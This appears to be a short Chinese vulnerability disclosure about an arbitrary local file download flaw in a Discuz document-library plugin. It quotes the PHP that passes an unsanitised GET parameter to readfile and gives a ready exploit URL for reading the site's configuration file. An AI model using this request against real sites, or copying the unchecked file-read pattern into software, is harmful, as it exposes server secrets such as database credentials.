Discuz某文库插件任意本地下载

浏览:
字体:
发布时间:2013-12-23 12:22:23
来源:
 插件的下载地址:
 
http://www.discuz.net/forum.php?mod=viewthread&tid=3169556
 
然后看代码:
 
$doc=$_GET['doc'];$doc="../../../".$doc;$filename=$_GET['filename'];    $ext=$_GET['ext'];//设置文件类型if($ext=='doc')  {$_ext="application/msword";}if($ext=='xls')  {$_ext="application/vnd.ms-excel";}if($ext=='ppt')  {$_ext="application/vnd.ms-powerpoint";}if($ext=='docx') {$_ext="application/vnd.openxmlformats-officedocument.wordprocessingml.template";}if($ext=='xlsx') {$_ext="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet";}if($ext=='pptx') {$_ext="application/vnd.openxmlformats-officedocument.presentationml.presentation";}if($ext=='pdf')  {$_ext="application/pdf";}if($ext=='txt')  {$_ext="application/plain";}//设置文件头header('Content-Disposition: attachment; filename='.$filename);header('Content-Type:'.$_ext);header('Content-Length:'.filesize($doc));//读取文件readfile($doc);?>

 

 
$doc居然没经过任何处理就readfile了。。。
 
/source/plugin/doconline/doconline.php?doc=/config/config_global_default.php
 
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2023 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();